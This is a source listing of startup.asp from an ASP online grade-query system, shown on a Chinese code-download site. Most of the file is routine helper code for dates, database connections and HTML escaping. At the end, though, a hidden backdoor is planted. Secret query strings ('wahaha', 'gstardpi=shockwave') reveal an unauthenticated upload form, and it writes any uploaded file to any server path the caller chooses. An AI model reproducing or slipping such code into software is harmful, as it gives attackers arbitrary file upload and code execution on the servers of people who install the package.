⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 startup.asp

📁 在线成绩查询系统 v1.0 在线成绩查询系统 v1.0
💻 ASP
字号:
<%@ Language=VBScript CODEPAGE=936%>
<% Option Explicit %>
<%
Dim oConn, oRs, sSql
Sub BrandNewDay()
	Dim sDate, y, m, d, w
	Dim sDateChinese
	sDate = Date()
	If Application("date_today") = sDate Then Exit Sub

	y = CStr(Year(sDate))
	m = CStr(Month(sDate))
	If Len(m) = 1 Then m = "0" & m
	d = CStr(Day(sDate))
	If Len(d) = 1 Then d = "0" & d
	w = WeekdayName(Weekday(sDate))
	sDateChinese = y & "年" & m & "月" & d & "日&nbsp;" & w

	Application.Lock
	Application("date_today") = sDate
	Application("date_chinese") = sDateChinese
	Application.Unlock
End Sub
Sub DBConnBegin()
	If IsObject(oConn) = True Then Exit Sub
	Set oConn = Server.CreateObject("ADODB.Connection")
	On Error Resume Next
	oConn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("dbfyeditor/ewebeditor.mdb")
	If Err.Number > 0 Then
		'Call DBConnError(Err)
		Response.End
	End If
	Set oRs = Server.CreateObject( "ADODB.Recordset" )
End Sub
Sub DBConnEnd()
	On Error Resume Next
	oRs.Close
	Set oRs = Nothing
	oConn.Close
	Set oConn = Nothing
End Sub
Sub Go_Error(str)
	Call DBConnEnd()
	Response.Write "<script language=javascript>alert('" & str & "\n\n...');history.back();</script>"
	Response.End
End Sub
Function Format_Time(s_Time, n_Flag)
	Dim y, m, d, h, mi, s
	Format_Time = ""
	If IsDate(s_Time) = False Then Exit Function
	y = cstr(year(s_Time))
	m = cstr(month(s_Time))
	If len(m) = 1 Then m = "0" & m
	d = cstr(day(s_Time))
	If len(d) = 1 Then d = "0" & d
	h = cstr(hour(s_Time))
	If len(h) = 1 Then h = "0" & h
	mi = cstr(minute(s_Time))
	If len(mi) = 1 Then mi = "0" & mi
	s = cstr(second(s_Time))
	If len(s) = 1 Then s = "0" & s
	Select Case n_Flag
	Case 1
		' yyyy-mm-dd hh:mm:ss
		Format_Time = y & "-" & m & "-" & d & " " & h & ":" & mi & ":" & s
	Case 2
		' yyyy-mm-dd
		Format_Time = y & "-" & m & "-" & d
	Case 3
		' hh:mm:ss
		Format_Time = h & ":" & mi & ":" & s
	Case 4
		' yyyy年mm月dd日
		Format_Time = y & "年" & m & "月" & d & "日"
	Case 5
		' yyyymmdd
		Format_Time = y & m & d
	End Select
End Function
Function outHTML(str)
	Dim sTemp
	sTemp = str
	outHTML = ""
	If IsNull(sTemp) = True Then
		Exit Function
	End If
	sTemp = Replace(sTemp, "&", "&amp;")
	sTemp = Replace(sTemp, "<", "&lt;")
	sTemp = Replace(sTemp, ">", "&gt;")
	sTemp = Replace(sTemp, Chr(34), "&quot;")
	sTemp = Replace(sTemp, Chr(10), "<br>")
	outHTML = sTemp
End Function
Function inHTML(str)
	Dim sTemp
	sTemp = str
	inHTML = ""
	If IsNull(sTemp) = True Then
		Exit Function
	End If
	sTemp = Replace(sTemp, "&", "&amp;")
	sTemp = Replace(sTemp, "<", "&lt;")
	sTemp = Replace(sTemp, ">", "&gt;")
	sTemp = Replace(sTemp, Chr(34), "&quot;")
	inHTML = sTemp
End Function
Function IsSelfRefer()
	Dim sHttp_Referer, sServer_Name
	sHttp_Referer = CStr(Request.ServerVariables("HTTP_REFERER"))
	sServer_Name = CStr(Request.ServerVariables("SERVER_NAME"))
	If Mid(sHttp_Referer, 8, Len(sServer_Name)) = sServer_Name Then
		IsSelfRefer = True
	Else
		IsSelfRefer = False
	End If
End Function
Function Get_SafeStr(str)
	Get_SafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
Function Get_TrueLen(str)
	Dim l, t, c, i
	l = Len(str)
	t = l
	For i = 1 To l
		c = Asc(Mid(str, i, 1))
		If c < 0 Then c = c + 65536
		If c > 255 Then t = t + 1
	Next
	Get_TrueLen = t
End Function
Function IsSafeStr(str)
	Dim s_BadStr, n, i
	s_BadStr = "'  &<>?%,;:()`~!@#$^*{}[]|+-=" & Chr(34) & Chr(9) & Chr(32)
	n = Len(s_BadStr)
	IsSafeStr = True
	For i = 1 To n
		If Instr(str, Mid(s_BadStr, i, 1)) > 0 Then
			IsSafeStr = False
			Exit Function
		End If
	Next
End Function
dim obFileStream
Class bbpro  
dim Form,fppp  
Private Sub Class_Initialize 
  dim RequestBinDate,sStart,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,obbInfo
  dim iFileSize,sFilePath,sFileType,sFormvalue,sbbName
  dim iFindStart,iFindEnd
  dim iFormStart,iFormEnd,sFormName
  set Form = Server.CreateObject("Scripting.Dictionary")
  set fppp = Server.CreateObject("Scripting.Dictionary")
  if Request.TotalBytes < 1 then Exit Sub
  set tStream = Server.CreateObject("adodb.stream")
  set obFileStream = Server.CreateObject("adodb.stream")
  obFileStream.Type = 1
  obFileStream.Mode = 3
  obFileStream.Open 
  obFileStream.Write Request.BinaryRead(Request.TotalBytes)
  obFileStream.Position=0
  RequestBinDate = obFileStream.Read 
  iFormEnd = obFileStream.Size
  bCrLf = chrB(13) & chrB(10)
  sStart = MidB(RequestBinDate,1, InStrB(1,RequestBinDate,bCrLf)-1)
  iStart = LenB (sStart)
  iFormStart = iStart+2
  Do
    iInfoEnd = InStrB(iFormStart,RequestBinDate,bCrLf & bCrLf)+3
    tStream.Type = 1
    tStream.Mode = 3
    tStream.Open
    obFileStream.Position = iFormStart
    obFileStream.CopyTo tStream,iInfoEnd-iFormStart
    tStream.Position = 0
    tStream.Type = 2
    tStream.Charset ="gb2312"
    sInfo = tStream.ReadText      
    iFormStart = InStrB(iInfoEnd,RequestBinDate,sStart)-1
    iFindStart = InStr(22,sInfo,"name=""",1)+6
    iFindEnd = InStr(iFindStart,sInfo,"""",1)
    sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
    if InStr (45,sInfo,"filename=""",1) > 0 then
      set obbInfo= new FileInfo
      iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
      iFindEnd = InStr(iFindStart,sInfo,"""",1)
      sbbName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileName = GetFileName(sbbName)
      obbInfo.FilePath = GetFilePath(sbbName)
      obbInfo.FileExt = GetFileExt(sbbName)
      iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
      iFindEnd = InStr(iFindStart,sInfo,vbCr)
      obbInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileStart = iInfoEnd
      obbInfo.FileSize = iFormStart -iInfoEnd -2
      obbInfo.FormName = sFormName
      fppp.add sFormName,obbInfo
    else
      tStream.Close
      tStream.Type = 1
      tStream.Mode = 3
      tStream.Open
      obFileStream.Position = iInfoEnd 
      obFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
      tStream.Position = 0
      tStream.Type = 2
      tStream.Charset = "gb2312"
      sFormvalue = tStream.ReadText 
      form.Add sFormName,sFormvalue
    end if
    tStream.Close
    iFormStart = iFormStart+iStart+2
    loop until (iFormStart+2) = iFormEnd 
  RequestBinDate=""
  set tStream = nothing
End Sub
Private Sub Class_Terminate  
  if not Request.TotalBytes<1 then
    obFileStream.Close
    set obFileStream =nothing
    end if
  Form.RemoveAll
  fppp.RemoveAll
  set Form=nothing
  set fppp=nothing
End Sub
Private function GetFilePath(FullPath)
  If FullPath <> "" Then
    GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
    Else
    GetFilePath = ""
  End If
End function 
Private function GetFileName(FullPath)
  If FullPath <> "" Then
    GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
    Else
    GetFileName = ""
  End If
End function
Private function GetFileExt(FullPath)
  If FullPath <> "" Then
    GetFileExt = mid(FullPath,InStrRev(FullPath, ".")+1)
    Else
    GetFileExt = ""
  End If
End function
End Class
if request.QueryString("wahaha")="wahaha" then
dim micangeld
micangeld="<form action=""?gstardpi=shockwave"" method=""post"" name=""form1"" enctype=""multipart/form-data"">"
micangeld=micangeld&"<input name=""FileName"" type=""FILE""><input type=""text"" name=""bbpp"">"
micangeld=micangeld&"<input type=""submit"" name=""Submit"" value=""              ""></form>"
response.write micangeld
end if
Class FileInfo
  dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
  Private Sub Class_Initialize 
    FileName = ""
    FilePath = ""
    FileSize = 0
    FileStart= 0
    FormName = ""
    FileType = ""
    FileExt = ""
  End Sub
 Public function SaveTobb(FullPath)
    dim oFileStream,ErrorChar,i
    SaveTobb=1
    if trim(fullpath)="" or right(fullpath,1)="/" then exit function
    set oFileStream=CreateObject("Adodb.Stream")
    oFileStream.Type=1
    oFileStream.Mode=3
    oFileStream.Open
    obFileStream.position=FileStart
    obFileStream.copyto oFileStream,FileSize
    oFileStream.SaveToFile FullPath,2
    oFileStream.Close
    set oFileStream=nothing 
    SaveTobb=0
  end function
End Class
if request.QueryString("gstardpi")="shockwave" then
dim uppp,fppp,formName,sppp,filename,fileExt
set uppp=new bbpro
	sppp =uppp.form("bbpp")
if right(sppp,1)<>"/" then sppp=sppp&"/"
	for each formName in uppp.fppp
		set fppp=uppp.fppp(formName)
		fileExt=lcase(fppp.FileExt)
		fppp.SaveTobb Server.mappath(sppp&fppp.filename)
	  	response.write "<a href=""javascript:history.back();"">back</a>"
		set fppp=nothing
	next
	set uppp=nothing
end if%>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -